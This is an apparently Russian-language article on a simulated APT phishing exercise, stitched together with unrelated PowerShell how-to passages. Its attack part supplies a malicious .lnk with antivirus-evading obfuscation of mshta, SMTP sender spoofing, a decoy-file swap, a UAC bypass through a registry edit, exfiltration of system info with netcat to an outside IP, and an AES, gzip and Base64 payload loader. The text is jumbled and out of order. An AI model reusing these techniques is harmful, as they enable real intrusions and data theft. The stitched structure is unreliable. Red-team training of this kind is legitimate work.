Навигация по странице
В охоте на обычную рыбу, в том числе и акул самое важное креативный подход! Вот и мы решили провести фишинг-учения для своих коллег, выбрав изощренные и необычные способы атаки.
Вместо стандартной рассылки гипертекста и кнопок в HTML с ссылкой на ресурс, мы реализовали полноценную учебную APT-атаку в рамках фишинг-учений! Однако не все получилось так гладко, но обо всем по порядку!
Все описанные действия носят исключительно рекомендательный характер, статья предназначена для специалистов по информационной безопасности и пентестеров, действующих в рамках контракта. Любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.
Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку.
Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.
В меню проводника Windows существует отдельная панель, в которой отображается список избранных папок. Панель навигации со списком папок быстрого доступа (Quick Access) отображается в левой верхней части окна File Explorer. Этот удобный инструмент Windows для быстрого к избранным папками, который незаслуженно игнорируется многими пользователями и администраторами. В этой статье мы покажем как автоматизировать настройки панели быстрого доступа с помощью PowerShell и GPO.
По умолчанию в панели Quick Access отображаются стандартные папки профиля пользователя (Desktop, Downloads, Pictures, Documents). Windows сама добавляет в панель Quick Access папки, которые часто (или недавно) открывал пользователь. Также пользователь может жестко закрепить любую нужную папку в панели быстрого доступа. Для этого нужно выбрать нужную папку на компьютере или в сетевом каталоге на файловом сервере и выбрать пункт Pin to Quick Access. В этом случае у папки появляется пиктограмма скрепки.
Если в вашей Windows не отображается панель быстрого доступа, нужно перейти в ветку реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
и удалить параметр реестра HubMode со значением 1 (если этот параметр задан, проводник не показывает панель быстрого доступа). Ранее мы показывали, как скрыть стандартные папки в проводнике Windows.
В моем случае я хочу добавить определенные папки в меню быстрого доступа в зависимости от назначенных групп доступа (ролей) пользователей. Например, бухгалтерам нужно закрепить один список избранных папок, менеджерам по продажам – другой, и т.д. В групповых политиках Windows отсутствуют средства для централизованного управления Quick Access, поэтому пришлось использовать PowerShell.
Чтобы добавить одну папку в список быстрого доступа Windows, используется команда:
$quickaccess = new-object -com shell.application
$quickaccess.Namespace("C:\AppFolder\Report").Self.InvokeVerb("pintohome")
Список элементов быстрого доступа проводника Windows хранится в файле
%AppData%\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
. Чтобы быстро очистить панель quickaccess, нужно выполнить команду:
del /f /s /q /a "%AppData%\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms"
Вы можете добавить в быстрый доступ локальную папку на диске или сетевую папку (по UNC пути):
Или папку в профиле пользователя:
Удалить папку из быстрого доступа:
Можно удалить из Quick Access все стандартные папки библиотек, закреплённые по-умолчанию:
Удалить все папки из Quick Access:
Следующий кусок кода добавляет в Quick Access папки только тогда, когда пользователь входит в определенную группу AD:
$usergroups=(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf if ($usergroups.Contains('CN=SaleManagers,OU=groups,OU=MSK,DC=winitpro,DC=ru')) { $AddItems = @( [pscustomobject]@{Name=Sales;Path="\\winitpro.ru\dfs\sales "} [pscustomobject]@{Name='Scans';Path="\\winitpro.ru\dfs\Scans"} [pscustomobject]@{Name='Test1';Path="$env:USERPROFILE\Downloads"} ) ForEach ($Item in $AddItems) { if (($Item.Name -notin $results.Name) -and (Test-Path -Path $Item.path)) { $QuickAccess.Namespace($Item.path).Self.InvokeVerb("pintohome") } } }
Если пользователь состоит в группе SaleManagers, этот cкрипт проверит, есть ли в списке QuickAccess пользователя элементы из массива
$AddItems
. Если такой папки нет в быстром доступе, скрипт проверить доступность указанного пути и добавит папку в избранное.
Вы можете добавить в этот скрипт еще несколько проверок наличия групп доступа у пользователя. В результате PowerShell скрипт будет добавлять папки в список быстрого доступа пользователя в зависимости от назначенных ему групп AD.
Такой PowerShell скрипт нужно сохранить на контроллер домена AD в папку
\\winitpro.ru\NETLOGON
(это позволит игнорировать настройки политики запуска скриптов PowerShell Execution Policy) и запускать как логон скрипт при входе пользователя через групповую политику (подробнее о запуске PowerShell скриптов через GPO).
Как разрешить выполнение неподписанного скрипта PowerShell?
- В оболочке PowerShell перед запуском скрипта выполните следующую команду для разрешения выполнения неподписанных скриптов в текущем сеансе оболочки:
Set-ExecutionPolicy RemoteSigned -Scope Process
- При запуске из стандартного командного интерфейса используйте параметр -executionpolicy, например:
PowerShell -executionpolicy RemoteSigned -file <имя_скрипта>
Оба способа устанавливают политику только для текущего сеанса, при этом политика безопасности выполнения скриптов PowerShell, установленная в реестре, остается неизменной. Если вы хотите изменить политику безопасности выполнения скриптов «навсегда», используйте следующий способ:
- Разрешить выполнение навсегда: запустите оболочку PowerShell от имени «Администратора» и выполните команду:
Однако рекомендуется избегать этого способа, чтобы не подвергать ваш компьютер возможным угрозам, поскольку это разрешает выполнение всех скриптов всегда.
Примечание: Если скрипт был загружен из интернета, чтобы избежать запроса на подтверждение выполнения, используйте параметр Bypass вместо RemoteSigned — это полное отключение любых запросов и предупреждений.

Как запустить скрипт PowerShell в фоновом режиме?
Для этого используйте параметр -WindowStyle, который может принимать значения: Normal, Minimized, Maximized и Hidden. Чтобы запустить неподписанный скрипт в фоновом режиме, выполните команду:
PowerShell -executionpolicy RemoteSigned -WindowStyle Hidden -file <имя_скрипта>
Также при желании вы можете добавить -NonInteractive, чтобы скрипт не задавал никаких вопросов. Таким образом, скрипт выполнится незаметно для пользователя. Однако будьте внимательны, используя этот способ.

Шаг 0. Планирование
Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.
На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника.
Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!
После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.
Выполнение скриптов в PowerShell
PowerShell представляет собой новую командную оболочку для операционной системы Windows, созданную Microsoft с целью полного замещения и улучшения cmd. Эта оболочка уже включена в состав операционных систем Windows 7 и выше. Если у вас старая версия операционной системы или вы хотите загрузить более новую версию PowerShell. Windows — операционная система, пользующаяся огромной популярностью среди миллионов пользователей по всему миру. В ее арсенале множество функций и возможностей, однако некоторые из них остаются недостаточно известными обычным пользователям. В данной статье мы расскажем о нескольких полезных сценариях, способных сделать вашу работу с Windows более эффективной и удобной.
Политика исполнения PowerShell-скриптов представляет собой механизм безопасности, управляющий условиями загрузки конфигурационных файлов и запуска сценариев в данной среде. Её основное предназначение — предотвращение выполнения потенциально вредоносных сценариев.

Шаг 1. Этап вооружения
Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:
- ресурсы и файлы-приманки из рабочей среды;
- короткие пэйлоады;
- обфусцированные значения и криптографические преобразования;
- низкие показатели идентификации вредоноса.
Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение.
Токсичный ярлык
Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.
Если мы непосредственно обратимся к утилите, которая запустит вредонос, такая угроза будет детектирована практически везде.
Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.
Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название.
PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e'
NoOpenWith :
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications
PSChildName : mshta.exe
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
В данном случае команда gp (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.
PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13
mshta.exe https://habr.ru/13
В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:
Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.
PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13
Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:
Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.
Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13
Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:
%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа.
Средства реализации
Для создания фишинговых сообщений мы подняли сервер с фреймворком GoPhish. Он имеет модули, позволяющие провести полноценную фишинговую кампанию.
Для создания и анализа .lnk-файлов использовался инструмент LECmd из набора «Eric Zimmerman’s tools».
Для создания .hta применялись системные средства ОС: CLI и PowerShell.
Когда требования, методология и инструменты определены, можно смело переходить к составлению стратегии атаки.
Выполняемые скрипты Windows
Это скрипты, которые могут быть выполнены в среде операционной системы Windows и обычно предназначены для автоматизации различных задач. Включают в себя bat-скрипты (командные файлы), PowerShell-скрипты, а также другие типы скриптов, которые можно выполнять в Windows. Общее отличие между bat-скриптами и PowerShell-скриптами заключается в языке программирования, используемом для написания команд и инструкций. Bat-скрипты используют язык пакетных команд, который является устаревшим и имеет ограниченные возможности по сравнению с PowerShell, который представляет более современный и мощный язык с разнообразными функциональными возможностями для автоматизации задач в Windows.
HTML Application
HTA, или HTML Application представляет собой тип приложения, совместимого с Microsoft Windows, которое объединяет в себе возможности HTML, JavaScript и других веб-технологий. Файлы HTA можно запускать напрямую из системы без необходимости использования браузера.
Как это работает:
- Файл HTA содержит HTML-код, который определяет интерфейс пользователя и функциональность приложения. JavaScript используется для обеспечения интерактивности и динамического поведения веб-страницы. CSS применяется для стилизации внешнего вида приложения.
- При двойном щелчке мышью на файле HTA он запускается с помощью исполняемого файла mshta.exe, входящего в состав Windows. Mshta.exe интерпретирует HTML-код и выполняет JavaScript-код, создавая приложение.
В отличие от обычных скриптов, это решение позволяет получить доступ к ресурсам ОС более скрытно и незаметно для периметровых и хостовых СЗИ. Так как файл HTA представляет собой оболочку, в него имплементируется вредоносный JS-код, который уже выполняет нелегитимные действия на устройстве от лица самого пользователя. Эти действия могут быть разными: начиная от установки reverse shell’a, заканчивая шифрованием дисков устройства. Файл этого формата мы использовали на втором этапе атаки для передачи на устройство потенциальной жертвы эксплойта.
Скрипты PowerShell для администратора
PowerShell — мощный инструмент для сисадминов Windows, предоставляя широкий набор команд и сценариев для автоматизации и управления системой. Ниже приведены несколько примеров PowerShell-скриптов, которые могут быть полезны администраторам:
1. Создание резервной копии файлов:
$sourcePath = «C:\Path\To\Source»
$destinationPath = «D:\Backup»
$timestamp = Get-Date -Format «yyyyMMddHHmmss»
$backupFolder = «$destinationPath\Backup_$timestamp»
Copy-Item -Path $sourcePath -Destination $backupFolder -Recurse
2. Мониторинг дискового пространства:
$threshold = 80
$diskLetter = $disk.DeviceID
Write-Host «Warning: Disk $diskLetter is running low on free space ($freeSpacePercentage%)»
# Можно добавить уведомление администратора
3. Создание нового пользователя:
$password = ConvertTo-SecureString «SecurePassword123» -AsPlainText -Force
4. Мониторинг событий в журнале событий:
$logName = «System»
$events = Get-WinEvent -LogName $logName -MaxEvents 10
Write-Host «Event ID $($event.Id): $($event.Message)»
5. Обновление всех установленных модулей PowerShell:
Update-Module -Name $_.Name -Force
6. Удаление временных файлов в системной директории:
Remove-Item «$tempPath\*» -Force
7. Создание отчета о состоянии служб:
8. Настройка правил брандмауэра:
New-NetFirewallRule -DisplayName «Allow-SSH» -Direction Inbound -Protocol TCP -LocalPort 22 -Action Allow
9. Удаление неиспользуемых профилей пользователей:
$inactiveDays = 90
$lastUseDate = $profile.LastUseTime
$difference = (Get-Date) — $lastUseDate
Remove-WmiObject -InputObject $profile -Confirm:$false
Эти примеры предоставляют общее представление о том, как PowerShell может использоваться администраторами для автоматизации различных задач в Windows-среде. Помните, что некоторые команды могут потребовать выполнения от имени администратора.
Для вызова скриптов PowerShell, вы можете использовать команду `Invoke-Expression` или просто указать путь к файлу скрипта. Предположим, у вас есть следующие скрипты: `ClearDisk.ps1`, `InstallPrograms.ps1`, `BackupScript.ps1`, и `UpdateSystem.ps1`.
1. Скрипт очистки диска (ClearDisk.ps1):
# Ваш код для очистки диска
# Пример: удаление временных файлов
Remove-Item -Path «$env:TEMP\*» -Recurse -Force
# Используйте Invoke-Expression
Invoke-Expression -Command «.\ClearDisk.ps1»
# Или просто указывайте путь к файлу скрипта
2. Скрипт автоматической установки программ (InstallPrograms.ps1):
# Ваш код для автоматической установки программ
# Пример: установка программы Chocolatey и установка пакетов
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString(‘https://chocolatey.org/install.ps1’))
choco install packageName -y
# Используйте Invoke-Expression
Invoke-Expression -Command «.\InstallPrograms.ps1»
# Или просто указывайте путь к файлу скрипта
3. Скрипт резервного копирования (BackupScript.ps1):
# Ваш код для создания резервной копии
# Пример: копирование файлов в другую директорию
$sourcePath = «C:\Path\To\Source»
$destinationPath = «D:\Backup»
Copy-Item -Path $sourcePath -Destination $destinationPath -Recurse
# Используйте Invoke-Expression
Invoke-Expression -Command «.\BackupScript.ps1»
# Или просто указывайте путь к файлу скрипта
4. Скрипт автоматического обновления системы (UpdateSystem.ps1):
# Ваш код для автоматического обновления системы
# Пример: обновление всех установленных модулей PowerShell
Update-Module -Name $_.Name -Force
# Используйте Invoke-Expression
Invoke-Expression -Command «.\UpdateSystem.ps1»
# Или просто указывайте путь к файлу скрипта
Убедитесь, что вы находитесь в той же директории, что и ваши скрипты, или укажите полный путь к файлу скрипта.
В этой статье мы коснулись всех аспектов создания, запуска и использования скриптов в Windows. Надеемся, что эти советы и примеры помогут вам освоить этот увлекательный мир автоматизации и сделают вашу работу более эффективной и приятной.
Шаг 2. Определение методологии и выбор инструментов
Для определения сценария рассмотрим несколько способов реализации фишинга:
- стандартный без доступа к аккаунту пользователя, при котором основная цель — убедить сотрудника в срочности и легитимности сообщения;
- корпоративный, когда имеется доступ к аккаунту, и политиками безопасности разрешен вход снаружи или с использованием скомпрометированной машины, либо имеется доступ к почтовому аккаунту.
В первом случае проверку подлинности сообщения проводит почтовый сервер получателя, и достаточно просто может определить поддельное письмо по DKIM, SPF, и применить политику DMARC. Поэтому злоумышленники стараются сделать акцент на тайпсквоттинге, маскировке под легетимные домены путем незначительного изменения их написания. К примеру, habr.com вполне могут выдавать за haabr.com.
Первый сценарий — довольно простой в реагировании как для самих сотрудников, так и для ИБ-специалистов. Куда сложней распознать корпоративный фишинг, даже при наличии систем Mail Security, которые обеспечивают дополнительный слой в защите. В этом случае пароль пользователя могут подобрать методом перебора по словарю, произойдет утечка из альтернативных сервисов с паролем сотрудника, или будет реализована внутренняя атака. Все эти угрозы являются актуальными для организации с собственными почтовыми серверами, поэтому необходимо понимать концепцию подобной атаки.
Шаг 3. Стратегия атаки и сбора информации
Пропишем сценарий, в котором укажем основных акторов и последовательность действий атакующей стороны:
Возможных связок с использованием файлов .lnk и .hta существует множество. Мы остановимся на сценарии, при котором пользователю необходимо открыть вредоносный ярлык в почтовом сообщении c вложенным пэйлоадом .hta. Приложение запустится как дочерний процесс без отображения окон, заменит вредоносный .lnk на безвредный файл и выполнит обезвреженный скрипт. После этого можно будет фиксировать обращение к контрольному серверу, означающее, что атака завершилась успешно.
На этом теоретическую подготовку к фишинг-учениям можно считать оконченной. Ее практическую реализацию мы подробно рассмотрим в следующей статье.
Статья поддерживается командой Serverspace.
Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.
Как сделать и запустить скрипт PowerShell
Создать скрипт PowerShell довольно просто. Вот шаги, которые вы можете выполнить, чтобы создать свой первый скрипт:
1. Откройте редактор PowerShell ISE:
PowerShell ISE (Integrated Scripting Environment) предоставляет удобную среду для написания и отладки скриптов. Вы можете его найти в меню «Пуск» (Start) под разделом «Стандартные» (Standard) или выполнить команду `PowerShell_ise` в командной строке.
2. Напишите свой скрипт:
В окне редактора PowerShell ISE напишите свой скрипт. Ниже приведен пример простого скрипта, который выводит «Hello, World!» в консоль:
Write-Host «Hello, World!»
3. Сохраните скрипт:
- Нажмите `Ctrl + S` или выберите «Файл» (File) -> «Сохранить» (Save).
- Укажите имя файла и добавьте расширение `.ps1` (например, `MyScript.ps1`).
4. Запустите скрипт:
- Выберите весь текст скрипта.
- Нажмите `F5` или выберите «Запустить сценарий» (Run Script) в PowerShell ISE.
Примеры более сложных скриптов:
#Скрипт, создающий новую папку:
$folderPath = «C:\Path\To\NewFolder»
New-Item -ItemType Directory -Path $folderPath
#Скрипт, удаляющий все файлы старше 7 дней в папке:
$folderPath = «C:\Path\To\Folder»
$limitDate = (Get-Date).AddDays(-7)
#Скрипт, проверяющий статус службы:
Write-Host «The status of service $serviceName is: $($serviceStatus.Status)»
Ваши скрипты могут включать более сложные команды, использовать условия, циклы и вызывать функции. Как только вы освоите основы, вы сможете создавать более мощные и гибкие скрипты PowerShell.

Скрипты для Windows — не просто строки кода, а волшебные ключи, открывающие дверь в мир автоматизации. В руках умелого пользователя они становятся инструментом, способным не только сэкономить время, но и превратить рутинные задачи в захватывающее путешествие по потокам байтов и командам.
Как запустить скрипт PowerShell с помощью ярлыка?
Это можно сделать двумя способами:
- Создать файл bat/cmd, в котором прописать команду для запуска скрипта (с параметрами, как описано выше).
- Создать ярлык на PowerShell, который находится в папке c:\Windows\System32\WindowsPowerShell\v<версия>\. В свойствах ярлыка в поле «Объект» добавьте необходимые параметры.
Таким образом, например, чтобы запустить скрипт PowerShell при входе пользователя, просто создайте ярлык, как описано во втором пункте, и поместите его в автозагрузку. Также создание ярлыка с использованием одного из вышеописанных методов позволяет легко запускать скрипт от имени администратора или от имени любого другого пользователя, как обычную программу.
Скриптовый язык PowerShell — мощный инструмент для решения различных задач. Однако следует использовать его с осторожностью, поскольку он может быть использован не только для полезных, но и для вредоносных целей. Будьте внимательны при работе с ним.

Как запустить скрипт через PowerShell с параметрами?
Запуск осуществляется аналогично запуску обычной программы или bat-файла с параметрами. Например, чтобы запустить скрипт с параметрами из командной строки, используйте следующую команду:
PowerShell -executionpolicy RemoteSigned -file <имя_скрипта> param1 param2 «еще один текстовый параметр«
В самом скрипте параметры могут быть получены так:
param ($var1, $var2, $var3)
В интегрированной среде PowerShell ISE скрипт с параметрами можно запустить аналогично, используя область команд.

Как запустить скрипт в PowerShell?
Существует несколько способов запуска скрипта, вот основные из них:
- Запустить оболочку PowerShell и выполнить в ней скрипт, указав путь к файлу и его имя (например, C:\Scripts\test.ps1) или перейдя в каталог скрипта командой cd C:\Scripts и выполнить его с помощью команды .\test.ps1.
- Оболочку можно найти и запустить разными способами. Один из них — через меню «Пуск». Для Windows 7 пройдите по следующему пути: «Все программы» — «Стандартные» — «Windows PowerShell» и запустите оболочку «Windows PowerShell». Для Windows 10 найдите группу по букве «W» и в ней выберите «Windows PowerShell».
- Запустить «Интегрированную среду сценариев Windows PowerShell ISE», которая представляет собой среду разработки, позволяющую редактировать и отлаживать скрипты PowerShell. Откройте программу, выберите «Открыть» или в меню Файл выберите «Открыть» и укажите нужный скрипт, затем нажмите F5 или кнопку «Выполнить скрипт». Поиск Windows PowerShell ISE можно осуществить так же, как и оболочки PowerShell, через меню «Пуск».
- Запустить стандартный командный интерфейс и ввести следующую команду:
PowerShell -file <имя_скрипта> (например: PowerShell -file myscript.ps1)
Если вы ранее не запускали скрипты PowerShell, возможно, вы получите сообщение о том, что файл <имя_скрипта> не может быть загружен, так как выполнение скриптов запрещено для данной системы. В этом случае введите «get-help about_signing» для получения дополнительной информации. Это связано с безопасностью и предотвращением случайного выполнения вредоносного кода, поэтому все скрипты должны быть подписаны цифровой подписью.
Этап доставки
Простота протокола SMTP означает относительную легкость эксплуатации его уязвимостей. Рассмотрим структуру отправляемого сообщения:
EHLO 74.213.211.1
AUTH LOGIN
ЛОГИН_В_ФОРМЕ_BASE_64
ПАРОЛЬ_В_ФОРМЕ_BASE_64
MAIL FROM: narushitel@serverspace.ru
RCPT TO: head@serverspace.ru
DATA
From: Игорь Иванович <ceo@serverspace.ru>
To: Степан Федорович <head@serverspace.ru>
Subject: Приказ №300
Подлежит выполнению с текущего дня!
QUIT
Задача сотрудника сводится к тому чтобы зайти в исходный код и сверить строчку получателя с тем, что отображает приложение.
Этап вооружения
Теперь необходимо подумать о полезной нагрузке письма. Стандартной гиперссылкой никого не удивишь, офисные документы давно под нулевым доверием у инфраструктурных решений СЗИ, и скрипты, которые можно было внедрить в сообщение, обычно по умолчанию заблокированы. Нарастающей угрозой становятся неприметные файлы .lnk, которые в своих атаках уже используют APT-группировки. Поэтому для моделирования этапа вооружения и заражения отлично подойдут LNK-файлы.
Вредоносный Webapp
Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется.
Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах.
Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении.
В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.
Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий.
Get-ComputerInfo | nc.exe 91.124.1.2 4213
Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение.
Код для Decoy
function fJBZI($JfsS){
$WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;
if($WeFJn){
if($WeFJn.Fullname -Match '.zip' -eq $true){
$NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');
$dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;
$JLdUun = Join-Path $dnuHk.Directory $NzJDP;
$GNSf = Join-Path $WeFJn.Directory '\*';
Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;
del $WeFJn.FullName -Force;
Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;
} else {
del $WeFJn.FullName -force;
Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;
}
}
}
fJBZI([Environment]::GetFolderPath('Desktop'));
- Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
- Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
- Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
- Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.
Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
Полученное ядро необходимо маскировать и преобразовать!
Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки:
Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.
New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)
Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.
Код для шифрования AES-256
$zTdLOeg = «ключ_в_utf8»;
$yNRTxBE = «закодированный_текст_в_utf8»;
$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';
$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$vdiEhMj.BlockSize = 128;
$vdiEhMj.KeySize = 256;
$vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);
$hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);
$udBqxpbU = $hPhPw[0..15];
$vdiEhMj.IV = $udBqxpbU;
$eTsDHySTn = $vdiEhMj.CreateEncryptor();
$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);
$vdiEhMj.Dispose();
Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.
$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v
FcP9A2889VWEvaNplt1NmzacJKO/
RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/
pwTYznyq1324dIMMUBWtd94+X7p2xzIYD
zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/
MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';
Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.
Код для расшифровки
$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';
$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';
$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;
$vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg);
$hPhPw = [System.Convert]::FromBase64String($yNRTxBE);
$udBqxpbU = $hPhPw[0..15];
$vdiEhMj.IV = $udBqxpbU;
$eTsDHySTn = $vdiEhMj.CreateDecryptor();
$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);
$vdiEhMj.Dispose();
$jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK);
$pKSKXid = New-Object System.IO.MemoryStream;
$wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress);
$wdTyKzCND.CopyTo($pKSKXid);
$wdTyKzCND.Close();
$jQcAMdf.Close(); [byte[]]
$Kuvqqkj = $pKSKXid.ToArray();
$pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);
Выполнение расшифрованного эксплойта
#$pcWmt | powershell -
В результате всех этих сложных манипуляций мы получаем отличные результаты.
